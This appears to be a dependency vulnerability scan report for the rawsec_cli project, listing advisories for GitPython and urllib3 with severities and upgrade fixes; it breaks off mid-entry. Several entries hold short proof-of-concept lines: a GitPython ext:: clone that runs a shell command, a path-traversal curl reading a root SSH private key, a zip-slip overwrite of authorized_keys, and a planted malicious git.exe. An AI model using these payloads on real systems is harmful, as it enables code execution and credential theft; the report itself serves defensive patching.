Vulnerabilities

46 via 46 paths

Dependencies

16

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 46
  • 1
Severity
  • 3
  • 33
  • 11
Status
  • 47
  • 0
  • 0

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.32.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to an improper fix for CVE-2022-24439, which allows insecure non-multi options in clone and clone_from.

PoC

r.clone_from('test', 'tmp', c=["protocol.ext.allow=always"])
GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always -- test tmp

Remediation

Upgrade GitPython to version 3.1.32 or higher.

References

critical severity
new

Arbitrary Argument Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.59.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the write_section() serialization path in git/config.py. An attacker can create a dormant multi-line value in a Git config file and trigger arbitrary code execution by causing GitPython to perform any unrelated config write, which rewrites the embedded newline as a new directive such as core.hooksPath. When the affected repo is later processed by a hook-triggering Git operation, the injected core.hooksPath is honored as a real Git setting, letting attacker-controlled hook code run and giving the attacker code execution on the host.

Remediation

Upgrade GitPython to version 3.1.59 or higher.

References

critical severity

Arbitrary Argument Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.47.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Argument Injection in the multi_options parameter of the _clone function, which may be passed in via the clone_from(), clone(), or Submodule.update() functions. An attacker can execute arbitrary code by supplying specially crafted input that manipulates Git configuration options, leading to the execution of malicious hooks during cloning.

Remediation

Upgrade GitPython to version 3.1.47 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: requests@2.27.1

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli requests@2.27.1 urllib3@1.26.20
    Remediation: Upgrade to requests@2.32.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: requests@2.27.1

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli requests@2.27.1 urllib3@1.26.20
    Remediation: Upgrade to requests@2.32.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: requests@2.27.1

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli requests@2.27.1 urllib3@1.26.20
    Remediation: Upgrade to requests@2.32.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.48.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Directory Traversal through insufficient validation of reference paths in the creation, renaming, and deletion. An attacker can write, overwrite, move, or delete files outside the intended directory by supplying crafted reference paths to the relevant APIs.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade GitPython to version 3.1.48 or higher.

References

high severity

Arbitrary Argument Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.54.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the check_unsafe_options process. An attacker can execute arbitrary commands by smuggling a malicious option token inside the value of a single-character keyword argument, which bypasses the intended guard and results in the execution of attacker-supplied commands.

Remediation

Upgrade GitPython to version 3.1.54 or higher.

References

high severity

Arbitrary Argument Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.58.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the check_unsafe_options process. An attacker can execute arbitrary OS commands by supplying specially crafted keyword arguments that bypass internal option guards.

Remediation

Upgrade GitPython to version 3.1.58 or higher.

References

high severity

Arbitrary Argument Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.58.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the set_value process. An attacker can execute arbitrary commands by injecting specially crafted option names that are written verbatim into the configuration file, resulting in unintended directives being parsed and executed during subsequent operations.

Remediation

Upgrade GitPython to version 3.1.58 or higher.

References

high severity
new

Arbitrary Code Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.60.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Code Injection through Repo.__init__ and is_git_dir in git/repo/base.py and git/repo/fun.py. An attacker can execute arbitrary commands by supplying a repository whose tracked root files make GitPython treat the working-tree root as the git directory and then placing a malicious hooks/pre-commit there. When a victim opens or clones that repository and later calls repo.index.commit(), GitPython resolves the hook path inside attacker-controlled content instead of the real .git directory. That causes the pre-commit hook to run in the victim’s process, breaking the integrity of local repository operations.

Workarounds

  • Do not open or clone untrusted repositories with GitPython unless you trust their tracked root files; attacker-controlled HEAD, gitdir, commondir, and hooks/ content can be treated as repository metadata and lead to hook execution.
  • Avoid calling repo.index.commit() on repositories sourced from untrusted content; this is the operation that can execute a malicious tracked hooks/pre-commit in the victim process.

Remediation

Upgrade GitPython to version 3.1.60 or higher.

References

high severity

Command Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.50.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Command Injection via the set_value function when the section parameter is not properly validated for newline characters. An attacker can execute arbitrary code by injecting malicious section headers into the .git/config file, which can redirect core.hooksPath to an attacker-controlled directory and trigger execution when a git hook runs.

Note: This vulnerability bypasses the patch for CVE-2026-42215.

Remediation

Upgrade GitPython to version 3.1.50 or higher.

References

high severity
new

Directory Traversal

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.59.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Directory Traversal through Repo.clone() and Repo.clone_from() in git/repo/base.py. An attacker can create a Git repository metadata directory outside the intended clone destination by supplying a separate_git_dir option to a clone request. This lets the attacker place and populate git metadata at an arbitrary filesystem path the process can write to, which can overwrite or seed another directory with repository state and related hook files.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade GitPython to version 3.1.59 or higher.

References

high severity

Information Exposure

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.55.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Information Exposure in the Repo.create_remote process when attacker-controlled URLs are passed and environment variables are expanded into the URL. An attacker can obtain sensitive environment secrets by supplying a crafted URL containing environment variable references, which are then expanded and stored in configuration files and transmitted to attacker-controlled servers during subsequent network operations.

Remediation

Upgrade GitPython to version 3.1.55 or higher.

References

high severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.52.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data via Git.polish_url() in Repo.clone_from() and the stored-origin normalization path in git/repo/base.py. An attacker can make the server send secrets to an attacker-controlled host by supplying a clone URL containing $NAME, ${NAME}, or %NAME% tokens. Repo.clone_from() passes the attacker-controlled URL through Git.polish_url() before invoking git clone, so the process environment is expanded into the remote URL on native and Cygwin platforms. That exposes values such as API tokens or cloud credentials in the outbound request, causing secret leakage whenever an application accepts untrusted repository URLs.

Notes

  • The issue is exploitable in the common “import repository from URL” pattern, where a server-side service accepts a user-supplied clone URL and runs Repo.clone_from() under its own environment; the leaked values come from that process environment, so secrets like deployment tokens or cloud credentials can be disclosed without any separate secret-management misconfiguration.
  • The stored-origin path is also in scope: after a successful clone, GitPython persists the normalized remote URL back into the repository config, so a URL containing expansion tokens can leave the secret embedded in the saved origin metadata as well as in the outbound clone request.

Remediation

Upgrade GitPython to version 3.1.52 or higher.

References

high severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.60.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the Actor._from_string parsing in git/util.py. An attacker can exhaust CPU and stall commit metadata access by supplying a crafted commit object whose author or committer header contains a long unterminated < delimiter. When GitPython reads .author or .committer from that commit, the backtracking in Actor.name_email_regex can block single-threaded processing for an extended time, causing denial of service for services that scan or display untrusted repositories.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade GitPython to version 3.1.60 or higher.

References

high severity

Arbitrary Argument Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.51.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the Repo.archive(), Repo.iter_commits(), Repo.blame(), and Git.ls_remote() call paths in git/repo/base.py, git/objects/commit.py, and git/cmd.py. An attacker can execute arbitrary Git helpers or clobber files by supplying unsafe archive/ls-remote options or a revision string such as --output=/path to iter_commits() or blame(). In Repo.archive(), caller-controlled keyword arguments are forwarded into git archive, allowing options like --exec or --output; in Git.ls_remote(), upload_pack is turned into --upload-pack without rejection. In Repo.iter_commits() and Repo.blame(), a revision value placed before -- is parsed as a Git option, letting an attacker trigger file truncation or overwrite before revision parsing fails.

Notes

  • Repo.archive() is only dangerous when callers forward user-influenced remote, exec, or output values; the write-up’s command-execution and file-clobber behavior depends on those arguments being passed through as archive options, not on ordinary tree export use.
  • Repo.iter_commits() and Repo.blame() are exposed to the overwrite primitive when the revision string or rev_opts can begin with -; the affected path is the revision parser’s pre--- handling, so applications that only pass fixed refs or validated commit IDs miss the issue.

Workarounds

  • Use allow_unsafe_options=False (the default) on Repo.archive(), Repo.iter_commits(), Repo.blame(), and git.ls_remote() and do not pass user-controlled options such as exec, output, rev_opts, or upload_pack; this blocks attacker-supplied Git flags from reaching helper execution or file-overwrite options.
  • Set allow_unsafe_protocols=False on Repo.archive() and avoid remote= values that resolve to unsafe protocols such as ext::...; this prevents git archive from invoking an arbitrary remote helper path.

Remediation

Upgrade GitPython to version 3.1.51 or higher.

References

high severity
new

External Control of File Name or Path

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.59.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to External Control of File Name or Path through the Submodule._config_parser() path in git/objects/submodule/base.py. An attacker can disclose the first line of a readable local file by supplying a malicious .gitmodules file with an [include] directive and triggering normal submodule enumeration, such as repo.submodules. The parser used for .gitmodules inherits include merging, so it follows attacker-controlled include paths during read-only processing. If the included target is not valid git-config, parsing fails with an exception that can expose the file’s contents through the error message, breaking tools that inspect untrusted repositories.

Workarounds

  • Disable or avoid processing untrusted repositories’ submodule metadata with GitPython operations such as repo.submodules / Submodule.iter_items() / Submodule.config() until the library is upgraded, so attacker-controlled .gitmodules files cannot trigger include parsing against local files.

Remediation

Upgrade GitPython to version 3.1.59 or higher.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.49.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Code Injection via the set_value function. An attacker can achieve arbitrary code execution by injecting newline characters into configuration values, which allows the creation of malicious Git configuration entries such as core.hooksPath. This enables execution of attacker-controlled scripts during Git operations that invoke hooks.

Remediation

Upgrade GitPython to version 3.1.49 or higher.

References

high severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: urllib3
  • Introduced through: requests@2.27.1

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli requests@2.27.1 urllib3@1.26.20
    Remediation: Upgrade to requests@2.32.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in urlopen() when using ProxyManager.connection_from_url() with assert_same_host=False, directly rather than via the high-level APIs including urllib3.request(), PoolManager.request(), and ProxyManager.request(). An attacker can expose headers such as Authorization, Cookie, and Proxy-Authorization by triggering cross-origin redirects, which does not properly invoke remove_headers_on_redirect.

Remediation

Upgrade urllib3 to version 2.7.0 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.30.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. This is only relevant when enabling the ext transport protocol.

PoC

from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])

Remediation

Upgrade GitPython to version 3.1.30 or higher.

References

high severity

Untrusted Search Path

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.33.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Untrusted Search Path allowing an attacker to run any arbitrary commands through a downloaded repository with a malicious git executable.

Note: This vulnerability affects only Windows systems.

PoC

On a Windows system, create a git.exe or git executable in any directory, and import or run GitPython from that directory

python -c "import git"

The git executable from the current directory will be run.

Remediation

Upgrade GitPython to version 3.1.33 or higher.

References

high severity

Untrusted Search Path

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.41.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Untrusted Search Path via the use of an untrusted search path on Windows. An attacker can execute arbitrary code by placing a malicious git.exe or bash.exe in the current directory, which may then be executed instead of the legitimate binaries when certain GitPython features are used.

Notes:

  1. This is a completion of the fix for CVE-2023-40590.

  2. When GitPython runs git directly rather than through a shell, the GitPython process performs the path search, and omits the current directory by setting NoDefaultCurrentDirectoryInExePath in its own environment during the Popen call.

  3. GitPython sets the subprocess CWD to the root of a repository's working tree. Using a shell will run a malicious git.exe in an untrusted repository even if GitPython itself is run from a trusted location. This also applies if git.execute is called directly with shell=True or after git.USE_SHELL = True, to run any command.

  4. On Windows, GitPython uses bash.exe to run hooks that appear to be scripts. However, unlike when running git, no steps are taken to avoid finding and running bash.exe in the current directory. While bash.exe is a shell, this is a separate scenario from when git is run using the unrelated Windows cmd.exe shell.

PoC

mkdir testrepo
git init testrepo
cp ... testrepo\git.exe  # Replace "..." with any executable of choice.
python -c "import git; print(git.Repo('testrepo').git.version(shell=True))"

Remediation

Upgrade GitPython to version 3.1.41 or higher.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.58.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Code Injection via the Repo.init process. An attacker can execute arbitrary code by supplying a malicious template parameter that points to a directory containing executable git hooks, which are then copied into the repository and triggered on subsequent git operations. This is only exploitable if the application forwards a user-controlled template argument and the attacker is able to stage an executable hook directory at a known path.

Remediation

Upgrade GitPython to version 3.1.58 or higher.

References

high severity

Incomplete List of Disallowed Inputs

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.51.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs through Git.check_unsafe_options in git/cmd.py. An attacker can execute arbitrary commands by supplying abbreviated unsafe option names such as upload_p in a clone, fetch, pull, or push call, causing GitPython’s exact-match blocklist to miss the option and pass it to Git as a dangerous long-option prefix. This can run attacker-controlled programs like --upload-pack or --receive-pack under the caller’s process, leading to remote code execution in applications that forward user-controlled keyword names into GitPython operations.

Notes

  • Git’s unsafe-option guard is only exercised when the host application forwards user-controlled keyword names into clone, fetch, pull, or push; fixed call sites that pass literal option names are not exposed by this variant.
  • The bypass hinges on Git’s long-option prefix parsing, so abbreviated spellings like upload_p can be interpreted as blocked command-executing options even when the exact unsafe name is not used.

Remediation

Upgrade GitPython to version 3.1.51 or higher.

References

high severity

Incomplete List of Disallowed Inputs

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.54.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs via the clone_from process. An attacker can execute arbitrary commands by supplying a crafted directory containing malicious hooks as the template parameter during a clone operation. This is only exploitable if the attacker can provide a directory with executable hooks accessible to the target system, such as through shared filesystems, upload directories, or attacker-writable network paths.

Remediation

Upgrade GitPython to version 3.1.54 or higher.

References

high severity

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.53.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') through improper sanitization of section or subsection names in configuration headers. An attacker can inject arbitrary configuration directives by supplying specially crafted submodule names, leading to the execution of malicious commands during subsequent git operations.

Remediation

Upgrade GitPython to version 3.1.53 or higher.

References

high severity

Arbitrary Argument Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.54.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the diff process. An attacker can overwrite or corrupt arbitrary files with attacker-influenced diff content by injecting malicious arguments into the other parameter or by supplying crafted keyword arguments, leading to unauthorized file modification at the process privilege level.

Remediation

Upgrade GitPython to version 3.1.54 or higher.

References

high severity

Arbitrary Argument Injection

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.58.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the from_tree, reset, or merge_tree process. An attacker can overwrite or destroy arbitrary files with a valid git-index blob by injecting malicious arguments into the positional parameters, leading to file corruption or loss at attacker-controlled writable locations.

Remediation

Upgrade GitPython to version 3.1.58 or higher.

References

high severity

External Control of File Name or Path

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.1.27

Detailed paths

  • Introduced through: mBouamama/rawsec_cli@mBouamama/rawsec_cli gitpython@3.1.27
    Remediation: Upgrade to gitpython@3.1.57.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to External Control of File Name or Path via the forwarding of unguarded options in the checkout and create functions. An attacker can overwrite arbitrary files or read arbitrary files by supplying crafted arguments to these functions, which are then passed directly to underlying git commands without proper validation.

Remediation

Upgrade GitPython to version 3.1.57 or higher.

References

high severity
new

Arbitrary Argument Injection

